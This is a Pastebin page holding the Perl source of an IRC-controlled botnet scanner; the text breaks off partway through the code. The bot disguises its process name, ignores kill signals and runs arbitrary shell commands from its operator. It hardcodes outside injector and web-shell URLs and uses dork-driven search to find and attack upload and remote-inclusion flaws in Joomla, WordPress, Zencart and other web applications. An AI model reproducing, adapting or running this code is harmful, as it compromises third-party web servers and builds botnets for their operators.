API tools faq
paste
Guest User

Untitled

a guest
Jul 10th, 2016
108
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 109.44 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3. ################################################################
  4. ## MULTI BOT SCANNER BY KLIVERZ ##
  5. ## CONTACT : KLIVERZ(AT)YAHOO.CO.ID ##
  6. ## THANKS TO : JATIMCOM, INDONESIAN CODER, KILL -9 CREW, BKHT ##
  7. ################################################################
  8. use HTTP::Request;
  9. use HTTP::Request::Common;
  10. use HTTP::Request::Common qw(POST);
  11. use LWP::Simple;
  12. use LWP 5.64;
  13. use LWP::UserAgent;
  14. use Socket;
  15. use IO::Socket;
  16. use IO::Socket::INET;
  17. use IO::Select;
  18. use MIME::Base64;
  19. use URI::Escape;
  20. use Digest::MD5 qw(md5_hex);
  21. #use DBI;
  22. #use DBD::mysql;
  23.  
  24.  
  25. my $datetime = localtime;
  26. my $fakeproc = "/usr/sbin/httpd";
  27. my $ircserver = "irc.byroe.org";
  28. my $ircport = "6667";
  29. my $nickname = "mad";
  30. my $ident = "zz";
  31. my $channel = "#Arabmoney";
  32. my $chanxxx = "#Arabmoney";
  33. my $chaninfo = "#Arabmoney";
  34. my $submitchan = "#Arabmoney";
  35. my $admin = "Selesai";
  36. my $fullname = "Arab";
  37. my $rawmsg = $ARGV[4];
  38. my $msgraw = $ARGV[5];
  39. my $nob0dy = "Arab";
  40.  
  41. my $startlogo = "9,1[4!9]11Scanning Start 9<4=9> ";
  42. my $jnewslogo = "9,1[4!9]11JNews 9<4=9> ";
  43. my $jcelogo = "9,1[4!9]11JCE Finder 9<4=9> ";
  44. my $civicrmlogo = "9,1[4!9]11Civicrm 9<4=9> ";
  45. my $jinclogo = "9,1[4!9]11JINC 9<4=9> ";
  46. my $letterlogo = "9,1[4!9]11JnewsLetter 9<4=9> ";
  47. my $acylogo = "9,1[4!9]11Acymailing 9<4=9> ";
  48. my $maianlogo = "9,1[4!9]11Maianmedia 9<4=9> ";
  49. my $redmistyclogo = "9,1[4!9]11RedMystc 9<4=9> ";
  50. my $phpvmslogo = "9,1[4!9]11PhpVms 9<4=9> ";
  51. my $clipbucketlogo = "9,1[4!9]11ClipBucket 9<4=9> ";
  52. my $reflexlogo = "9,1[4!9]11ReFlex Gallery 9<4=9> ";
  53. my $maian15logo = "9,1[4!9]11Maian15 9<4=9> ";
  54. my $livecart15logo = "9,1[4!9]11Live Cart 9<4=9> ";
  55. my $switchbladelogo = "9,1[4!9]11Switchblade 9<4=9> ";
  56. my $coldfusionlogo = "9,1[4!9]11Coldfusion 9<4=9> ";
  57. my $joomleaguelogo = "9,1[4!9]11Joomleague 9<4=9> ";
  58. my $photostorelogo = "9,1[4!9]11PhotoStore 9<4=9> ";
  59. my $thumblogo = "9,1[4!9]11Timthumb 9<4=9> ";
  60. my $sqllogo = "9,1[4!9]11SQL Injection 9<4=9> ";
  61. my $zenlogo = "9,1[4!9]11Zencart 9<4=9> ";
  62. my $rfilogo = "9,1[4!9]11RFI 9<4=9> ";
  63. my $pointofsalelogo = "9,1[4!9]11point of sale 9<4=9> ";
  64.  
  65. my $maian15cmd = "!m15";
  66. my $livecartcmd = "!lct";
  67. my $jnewscmd = "!jne";
  68. my $jcecmd = "!jce";
  69. my $jinccmd = "!jinc";
  70. my $acycmd = "!acy";
  71. my $lettercmd = "!lett";
  72. my $civicrmcmd = "!civi";
  73. my $maiancmd = "!mai";
  74. my $redmistyccmd = "!red";
  75. my $phpvmscmd = "!vms";
  76. my $clipbucketcmd = "!cbk";
  77. my $reflexcmd = "!ref";
  78. my $switchbladecmd = "!swb";
  79. my $coldfusioncmd = "!cdf";
  80. my $joomleaguecmd = "!jlg";
  81. my $photostorecmd = "!pst";
  82. my $thumbcmd = '!tim';
  83. my $sqlcmd = '!sql';
  84. my $zencmd = '!zen';
  85. my $rficmd = '!rfi';
  86. my $ftpcmd = "!ftp";
  87. my $pointofsalecmd = "!point";
  88. my $gps = 1;
  89. my $gps2 = 1;
  90. my $timot = 7;
  91. my $silentmode = 0;
  92. my $rceinjector = "http://server1.androidroot.org/admin_area/rcex.php";
  93. my $thumbshell = "http://picasa.com.pueblotricolor.com/config.php";
  94. my $rfiinjector = "http://server1.androidroot.org/admin_area/kliverz.txt";
  95. my $spd = "http://server1.androidroot.org/admin_area/spd.txt";
  96.  
  97.  
  98. my $folder1 = "/cache/a27eb7108b613aef0657c6d724fdec7d.php";
  99. my $folder2 = "/cache/external_a27eb7108b613aef0657c6d724fdec7d.php";
  100. my $folder3 = "/temp/a27eb7108b613aef0657c6d724fdec7d.php";
  101. my $folder4 = "/temp/external_a27eb7108b613aef0657c6d724fdec7d.php";
  102. my $folder5 = "/wp-content/uploads/thumb-temp/a27eb7108b613aef0657c6d724fdec7d.php";
  103.  
  104. my $uagent = "Mozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; InfoPath.1)";
  105. my $jpath = "?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=";
  106.  
  107. my $jack1 = "http://spronk.us/search.php".$jpath;
  108. my $jack2 = "http://spronk.us/search.php".$jpath;
  109. my $jack3 = "http://spronk.us/search.php".$jpath;
  110. my $jack4 = "http://spronk.us/search.php".$jpath;
  111. my $jack5 = "http://spronk.us/search.php".$jpath;
  112. my $jack6 = "http://spronk.us/search.php".$jpath;
  113. my $jack7 = "http://spronk.us/search.php".$jpath;
  114. my $jack8 = "http://spronk.us/search.php".$jpath;
  115. my $jack9 = "http://spronk.us/search.php".$jpath;
  116. my $jack10 = "http://spronk.us/search.php".$jpath;
  117.  
  118. my $engine = "JacKAC,JacKAD,JacKAE,JacKAF,JacKAG,JacKAL,JacKAM,JacKAN,JacKAT,JacKAR,JacKAU,JacKBE,JacKHU,JacKOrG,JacKCoM,JacKNeT,JacKPL,JacKIT,JacKID,JacKMY,
  119. JacKES,JacKUK,JacKUS,JacKJP,JacKKR,JacKDE,JacKDK,JacKCA,JacKBR,JacKRO,JacKRU,JacKNL,JacKInfO,JacKFR,JacKIN,JacKMX,JacKCZ,JacKCL,JacKUA,
  120. JacKCN,JacKIR,JacKTH,JacKEU,JacKPH,JackIL,JackIM,JacKSI,JacKBIZ,GooGLe,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam";
  121.  
  122.  
  123.  
  124.  
  125. $SIG{'INT'} = 'IGNORE';
  126. $SIG{'HUP'} = 'IGNORE';
  127. $SIG{'TERM'} = 'IGNORE';
  128. $SIG{'CHLD'} = 'IGNORE';
  129. $SIG{'PS'} = 'IGNORE';
  130. #chdir("/");
  131. $ircserver = "$ARGV[0]" if $ARGV[0];
  132. $ircport = "$ARGV[1]" if $ARGV[1];
  133. $nickname = "$ARGV[2]" if $ARGV[2];
  134. $channel = "$ARGV[3]" if $ARGV[3];
  135. $0 = "$fakeproc"."\0" x 16;
  136. my $pid = fork;
  137. exit if $pid;
  138. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  139.  
  140. our %irc_servers;
  141. our %DCC;
  142. my $dcc_sel = new IO::Select->new();
  143. $sel_client = IO::Select->new();
  144. sub sendraw {
  145. if ($#_ == '1') {
  146. my $socket = $_[0];
  147. print $socket "$_[1]\n";
  148. } else {
  149. print $IRC_cur_socket "$_[0]\n";
  150. }
  151. }
  152. sub connector {
  153. my $mynick = $_[0];
  154. my $ircserver_con = $_[1];
  155. my $ircport_con = $_[2];
  156. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  157. if (defined($IRC_socket)) {
  158. $IRC_cur_socket = $IRC_socket;
  159. $IRC_socket->autoflush(1);
  160. $sel_client->add($IRC_socket);
  161. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  162. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  163. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  164. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  165. nick("$mynick");
  166. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  167. sleep(1);}}
  168.  
  169. sub parse {
  170. my $servarg = shift;
  171. if ($servarg =~ /^PING \:(.*)/) {
  172. sendraw("PONG :$1");
  173. }
  174. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  175. if (lc($1) eq lc($mynick)) {
  176. $mynick = $4;
  177. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  178. }
  179. }
  180. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  181. nick("$mynick".int rand(99));
  182. }
  183. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  184. $mynick = $2;
  185. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  186. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  187. sendraw("NS ID kliverz");
  188. sleep(3);
  189. sendraw("JOIN $channel bruakakaka");
  190. sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  191. }
  192. }
  193.  
  194. my $line_temp;
  195. while( 1 ) {
  196. while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  197. select(undef, undef, undef, 0.01);
  198. delete($irc_servers{''}) if (defined($irc_servers{''}));
  199. my @ready = $sel_client->can_read(0);
  200. next unless(@ready);
  201. foreach $fh (@ready) {
  202. $IRC_cur_socket = $fh;
  203. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  204. $nread = sysread($fh, $ircmsg, 4096);
  205. if ($nread == 0) {
  206. $sel_client->remove($fh);
  207.  
  208. $fh->close;
  209. delete($irc_servers{$fh});
  210. }
  211. @lines = split (/\n/, $ircmsg);
  212. $ircmsg =~ s/\r\n$//;
  213. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  214. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  215. if ($path eq $mynick) {
  216. if ($msg =~ /^PING (.*)/) {
  217. sendraw("NOTICE $nick :PING $1");
  218. }
  219. if ($msg =~ /^VERSION/) {
  220. sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  221. }
  222. if ($msg =~ /^TIME/) {
  223. sendraw("NOTICE $nick :TIME ".$datetime."");
  224. }
  225. if (&isAdmin($nick) && $msg eq "!die") {
  226. &shell("$path","kill -9 $$");
  227. }
  228.  
  229. if (&isAdmin($nick) && $msg eq "!killall") {
  230. &shell("$path","killall -9 perl");
  231. }
  232. if (&isAdmin($nick) && $msg eq "!reset") {
  233. sendraw("QUIT :Restarting...");
  234. }
  235. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  236. sendraw("JOIN #".$1);
  237. }
  238. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  239. sendraw("PART #".$1);
  240. }
  241. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  242. sendraw("NICK ".$1);
  243. }
  244.  
  245.  
  246. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  247. sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  248. }
  249. if (&isAdmin($nick) && $msg !~ /^!/) {
  250. &shell("$nick","$msg");
  251. }
  252. if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  253. sendraw("$rawmsg $msgraw ".$1);
  254. }
  255. if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  256. sendraw("PRIVMSG $rawmsg ".$1);
  257. }
  258. if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  259. sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
  260. }
  261.  
  262.  
  263.  
  264.  
  265. if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  266. $newtimot = $1;
  267. $timot = $newtimot;
  268. &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
  269. }
  270. if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
  271. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  272. $newchan = $1;
  273. $chanxxx = $newchan;
  274. &msg("$admin","9,1 xChan change to4 $chanxxx ");
  275. }}}
  276. }
  277. else {
  278. if (&isAdmin($nick) && $msg eq "!die") {
  279. &shell("$path","kill -9 $$");
  280. }
  281. if (&isAdmin($nick) && $msg eq "!killall") {
  282. &shell("$path","killall -9 perl");
  283. }
  284. if (&isAdmin($nick) && $msg eq "!reset") {
  285. sendraw("QUIT :Restarting...");
  286. }
  287. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  288. sendraw("JOIN #".$1);
  289. }
  290. if (&isAdmin($nick) && $msg eq "!part") {
  291. sendraw("PART $path");
  292. }
  293. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  294. sendraw("PART #".$1);
  295. }
  296. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  297. &shell("$path","$1");
  298. }
  299. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  300. &shell("$path","$1");
  301. }
  302. if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
  303. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  304. $smod = $1;
  305. if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  306. elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  307. &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
  308. }}}
  309. if ($msg=~ /^!jackx\s+(.*) -d/) {
  310. $engmod = $1;
  311. if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; }
  312.  
  313. elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; }
  314. &msg("$path","9,1[4!9]Jack Engine15 $gpsstat !!!!");
  315. }
  316. if ($msg=~ /^!engine\s+(.*) -d/) {
  317. $engmod = $1;
  318. if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; }
  319. elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; }
  320. &msg("$path","9,1[4!9]Multi Engine15 $gpsstat !!!!");
  321. }
  322. ##################################################################### HELP COMMAND
  323. if ($msg=~ /^!helsp/) {
  324. my $helplogo = "9,1[4!9]15HELP 4<9=4> ";sleep(3);
  325.  
  326. &msg("$path","4$helplogo 8 Multi SCANNER By Kliverz");
  327. &msg("$path","4$helplogo 4 All Exploit Joomla ");
  328. &msg("$path","$helplogo9Com_Maian15 :15 $maian15cmd [dork] ");
  329. &msg("$path","$helplogo9Com_Redmistyc :15 $redmistyccmd [dork] ");
  330. &msg("$path","$helplogo9Com_Jnews :15 $jnewscmd [dork] ");
  331. &msg("$path","$helplogo9Com_Jnewsletter :15 $lettercmd [dork] ");
  332. &msg("$path","$helplogo9Com_Civicrm :15 $civicrmcmd [dork] ");
  333. &msg("$path","$helplogo9Com_Maianmedia :15 $maiancmd [dork] ");
  334. &msg("$path","$helplogo9Com_Acymailing :15 $acycmd [dork] ");
  335. &msg("$path","$helplogo9Com_Jinc :15 $jinccmd [dork] ");
  336. &msg("$path","$helplogo9Com_Joomleague :15 $joomleaguecmd [dork] ");
  337. &msg("$path","$helplogo9JCE Exploit :15 $jcecmd [dork] ");
  338. &msg("$path","4$helplogo 4 All Exploit Wordpress ");
  339. &msg("$path","$helplogo9ReFlex Gallery :15 $reflexcmd [dork] ");
  340. &msg("$path","$helplogo9Switchblade :15 $switchbladecmd [dork] ");
  341. &msg("$path","$helplogo9Cold Fusion :15 $coldfusioncmd [dork] ");
  342. &msg("$path","$helplogo9Timthumb :15 $thumbcmd [Bug] [dork] ");
  343. &msg("$path","4$helplogo 4 All Other Exploit ");
  344. &msg("$path","$helplogo9PhpVms :15 $phpvmscmd [dork] ");
  345. &msg("$path","$helplogo9ClipBucket :15 $clipbucketcmd [dork] ");
  346. &msg("$path","$helplogo9PhotoStore :15 $photostorecmd [dork] ");
  347. &msg("$path","$helplogo9SQL Injection :15 $sqlcmd [dork] ");
  348. &msg("$path","$helplogo9Zencart :15 $zencmd [dork] ");
  349. &msg("$path","$helplogo9RFI :15 $rficmd [dork] ");
  350. &msg("$path","$helplogo9Point of Sale :15 $pointofsalecmd [dork] ");
  351. &msg("$path","4$helplogo 8 We are Indramayu CyBer");
  352. }
  353.  
  354. if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  355. my $injectlogo = "9,1[4!9]15Inject 4<9=4> ";sleep(3);
  356.  
  357. $inject1 = "";
  358. $inject2 = "";
  359. $inject3 = "";
  360.  
  361.  
  362. my $cekby1 = &get_content($rceinjector);
  363. my $cekby2 = &get_content($thumbshell);
  364. my $cekby3 = &get_content($rfiinjector);
  365.  
  366. if ($cekby1 =~ /kliverz/i){ $inject1 = "9Ready!!!"; } else { $inject1 = "4Lost!!!"; }
  367. if ($cekby2 =~ /GIF89a/i){ $inject2 = "9Ready!!!"; } else { $inject2 = "4Lost!!!"; }
  368. if ($cekby3 =~ /bajak/i){ $inject2 = "9Ready!!!"; } else { $inject3 = "4Lost!!!"; }
  369.  
  370. &msg("$path","4$injectlogo 8 Injector Checker ");
  371. &msg("$path","$injectlogo15RCE Injector :15 $inject1 ");
  372. &msg("$path","$injectlogo15Timthumb Injector :15 $inject2 ");
  373. &msg("$path","$injectlogo15RFI Injector :15 $inject2 ");
  374. &msg("$path","4$injectlogo 8 End Of Injector Checker ");
  375. }
  376.  
  377.  
  378. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  379. &msg("$nick","6Fake Process/PID : $fakeproc - $$");
  380. }
  381. if (&isAdmin($nick) && $msg eq "!bypass") {
  382. my $bystats1 = "";
  383. my $bystats2 = "";
  384. my $bystats3 = "";
  385. my $bystats4 = "";
  386. my $bystats5 = "";
  387. my $bystats6 = "";
  388. my $bystats7 = "";
  389. my $bystats8 = "";
  390. my $bystats9 = "";
  391. my $bystats10 = "";
  392.  
  393. my $cekby1 = &get_content($jack1."search");
  394. my $cekby2 = &get_content($jack2."search");
  395. my $cekby3 = &get_content($jack3."search");
  396. my $cekby4 = &get_content($jack4."search");
  397. my $cekby5 = &get_content($jack5."search");
  398. my $cekby6 = &get_content($jack6."search");
  399. my $cekby7 = &get_content($jack7."search");
  400. my $cekby8 = &get_content($jack8."search");
  401. my $cekby9 = &get_content($jack9."search");
  402. my $cekby10 = &get_content($jack10."search");
  403.  
  404. if ($cekby1 =~ /search/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4Lost!!!"; }
  405. if ($cekby2 =~ /search/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4Lost!!!"; }
  406. if ($cekby3 =~ /search/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4Lost!!!"; }
  407. if ($cekby4 =~ /search/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4Lost!!!"; }
  408. if ($cekby5 =~ /search/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4Lost!!!"; }
  409. if ($cekby6 =~ /search/i){ $bystats6 = "9Up!!!"; } else { $bystats6 = "4Lost!!!"; }
  410. if ($cekby7 =~ /search/i){ $bystats7 = "9Up!!!"; } else { $bystats7 = "4Lost!!!"; }
  411. if ($cekby8 =~ /search/i){ $bystats8 = "9Up!!!"; } else { $bystats8 = "4Lost!!!"; }
  412. if ($cekby9 =~ /search/i){ $bystats9 = "9Up!!!"; } else { $bystats9 = "4Lost!!!"; }
  413. if ($cekby10 =~ /search/i){ $bystats10 = "9Up!!!"; } else { $bystats10 = "4Lost!!!"; }
  414.  
  415. my $bypasslogo = "9,1[4!9]15Bypass 4<9=4> ";sleep(3);
  416. &msg("$path","4$bypasslogo 8 Bypass Checker ");
  417. &msg("$path","$bypasslogo9JACK1 = $bystats1 ");
  418. &msg("$path","$bypasslogo9JACK2 = $bystats2 ");
  419. &msg("$path","$bypasslogo9JACK3 = $bystats3 ");
  420. &msg("$path","$bypasslogo9JACK4 = $bystats4 ");
  421. &msg("$path","$bypasslogo9JACK5 = $bystats5 ");
  422. &msg("$path","$bypasslogo9JACK6 = $bystats6 ");
  423. &msg("$path","$bypasslogo9JACK7 = $bystats7 ");
  424. &msg("$path","$bypasslogo9JACK8 = $bystats8 ");
  425. &msg("$path","$bypasslogo9JACK9 = $bystats9 ");
  426. &msg("$path","$bypasslogo9JACK10 = $bystats10 ");
  427. &msg("$path","4$bypasslogo 8 End Of Bypass Checker ");
  428. }
  429. ##################################################################### SCAN
  430. if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
  431. if (my $pid = fork) {
  432. waitpid($pid, 0);
  433. }
  434. else {
  435. if (fork) { exit; } else {
  436. my ($bug,$dork) = ($1,$2);
  437. my $simpan = $nick;
  438.  
  439. if (&isFound($thumbshell,"GIF89")) {
  440. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Tumini di 4$path ");
  441. &msg("$path","$thumblogo9Dork $dork ");
  442. &msg("$path","$thumblogo9Bugz $bug ")
  443. &msg("$path","$thumblogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  444. &se_start($path,$bug,$simpan,$dork,$engine,1);
  445. } else {
  446. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  447. }
  448. }
  449. exit;
  450. }
  451. }
  452.  
  453. if ($msg =~ /^$rficmd\s+(.*)/) {
  454. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  455. my ($bug,$dork) = ("$1",$1);
  456. my $simpan = $nick;
  457.  
  458. if (&isFound($rfiinjector,"bajak")) {
  459. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan RFI di 4$path ");
  460. &msg("$path","$rfilogo9Dork $dork ");
  461. &msg("$path","$rfilogo9Search Engine Now Loading ... ");
  462. &msg("$path","$rfilogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  463. sendraw("MODE $path +m");
  464. &se_start($path,$bug,$simpan,$dork,$engine,5);
  465. } else {
  466. &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  467. }
  468. }
  469. }
  470. }
  471. if ($msg =~ /^$zencmd\s+(.*)/) {
  472. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  473. my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  474. my $simpan = $nick;
  475.  
  476. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Zencart di 4$path ");
  477. &msg("$path","$zenlogo9Dork $dork ");
  478. &msg("$path","$zenlogo9Search Engine Now Loading ... ");
  479. &msg("$path","$zenlogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  480. sendraw("MODE $path +m");
  481. &se_start($path,$bug,$simpan,$dork,$engine,10);
  482. }
  483. }
  484. }
  485. if ($msg =~ /^$sqlcmd\s+(.*)/) {
  486. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  487. my ($bug,$dork) = ($1,$1);
  488. my $simpan = $nick;
  489. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan SQL di 4$path ");
  490. &msg("$path","$sqllogo9Dork $dork ");
  491. &msg("$path","$sqllogo9Search Engine Now Loading ... ");
  492. &msg("$path","$sqllogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  493. sendraw("MODE $path +m");
  494. &se_start($path,$bug,$simpan,$dork,$engine,29);
  495. }
  496. }
  497. }
  498. if ($msg =~ /^$photostorecmd\s+(.*)/) {
  499. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  500. my ($bug,$dork) = ("/assets/uploadify/old/uploadify.php",$1);
  501. my $simpan = $nick;
  502. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan photostore di 4$path ");
  503. &msg("$path","$photostorelogo9Dork $dork ");
  504. &msg("$path","$photostorelogo9Search Engine Now Loading ... ");
  505. &msg("$path","$photostorelogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  506. sendraw("MODE $path +m");
  507. &se_start($path,$bug,$simpan,$dork,$engine,28);
  508. }
  509. }
  510. }
  511.  
  512. if ($msg =~ /^$jcecmd\s+(.*)/) {
  513. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  514. my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1);
  515. my $simpan = $nick;
  516. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan JCE di 4$path ");
  517. &msg("$path","$jcelogo9Dork $dork ");
  518. &msg("$path","$jcelogo9Search Engine Now Loading ... ");
  519. &msg("$path","$jcelogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  520. sendraw("MODE $path +m");
  521. &se_start($path,$bug,$simpan,$dork,$engine,13);
  522. }
  523. }
  524. }
  525.  
  526. if ($msg =~ /^$switchbladecmd\s+(.*)/) {
  527. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  528. my ($bug,$dork) = ("/wp-content/themes/switchblade/framework/_scripts/valums_uploader/php.php",$1);
  529. my $simpan = $nick;
  530. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Switchblade di 4$path ");
  531. &msg("$path","$switchbladelogo9Dork $dork ");
  532. &msg("$path","$switchbladelogo9Search Engine Now Loading ... ");
  533. &msg("$path","$switchbladelogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  534. sendraw("MODE $path +m");
  535. &se_start($path,$bug,$simpan,$dork,$engine,25);
  536. }
  537. }
  538. }
  539.  
  540. if ($msg =~ /^$jnewscmd\s+(.*)/) {
  541. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  542. my ($bug,$dork) = ("/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php",$1);
  543. my $simpan = $nick;
  544. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan JNews di 4$path ");
  545. &msg("$path","$jnewslogo9Dork $dork ");
  546. &msg("$path","$jnewsogo9Search Engine Now Loading ... ");
  547. &msg("$path","$jnewslogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  548. sendraw("MODE $path +m");
  549. &se_start($path,$bug,$simpan,$dork,$engine,12);
  550. }
  551. }
  552. }
  553. if ($msg =~ /^$joomleaguecmd\s+(.*)/) {
  554. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  555. my ($bug,$dork) = ("/components/com_joomleague/assets/classes/open-flash-chart/ofc_upload_image.php",$1);
  556. my $simpan = $nick;
  557. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan joomleague di 4$path ");
  558. &msg("$path","$joomleaguelogo9Dork $dork ");
  559. &msg("$path","$joomleaguelogo9Search Engine Now Loading ... ");
  560. &msg("$path","$joomleaguelogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  561. sendraw("MODE $path +m");
  562. &se_start($path,$bug,$simpan,$dork,$engine,27);
  563. }
  564. }
  565. }
  566. if ($msg =~ /^$clipbucketcmd\s+(.*)/) {
  567. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  568. my ($bug,$dork) = ("/admin_area/charts/ofc-library/ofc_upload_image.php",$1);
  569. my $simpan = $nick;
  570. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan ClipBucket di 4$path ");
  571. &msg("$path","$clipbucketlogo9Dork $dork ");
  572. &msg("$path","$clipbucketlogo9Search Engine Now Loading ... ");
  573. &msg("$path","$clipbucketlogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  574. sendraw("MODE $path +m");
  575. &se_start($path,$bug,$simpan,$dork,$engine,19);
  576. }
  577. }
  578. }
  579. if ($msg =~ /^$pointofsalecmd\s+(.*)/) {
  580. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  581. my ($bug,$dork) = ("/application/libraries/ofc-library/ofc_upload_image.php",$1);
  582. my $simpan = $nick;
  583. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Point Of sale di 4$path ");
  584. &msg("$path","$pointofsalelogo9Dork $dork ");
  585. &msg("$path","$pointofsalelogo9Search Engine Now Loading ... ");
  586. &msg("$path","$pointofsalelogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  587. sendraw("MODE $path +m");
  588. &se_start($path,$bug,$simpan,$dork,$engine,30);
  589. }
  590. }
  591. }
  592. if ($msg =~ /^$redmistyccmd\s+(.*)/) {
  593. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  594. my ($bug,$dork) = ("/administrator/components/com_redmystic/chart/ofc-library/ofc_upload_image.php",$1);
  595. my $simpan = $nick;
  596. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan RedMistyc di 4$path ");
  597. &msg("$path","$redmistyclogo9Dork $dork ");
  598. &msg("$path","$redmistyclogo9Search Engine Now Loading ... ");
  599. &msg("$path","$redmistyclogo9ATTENTION : 4Don't flood the bot.. 10OK!!!");
  600. sendraw("MODE $path +m");
  601. &se_start($path,$bug,$simpan,$dork,$engine,20);
  602. }
  603. }
  604. }
  605. if ($msg =~ /^$reflexcmd\s+(.*)/) {
  606. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  607. my ($bug,$dork) = ("/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php",$1);
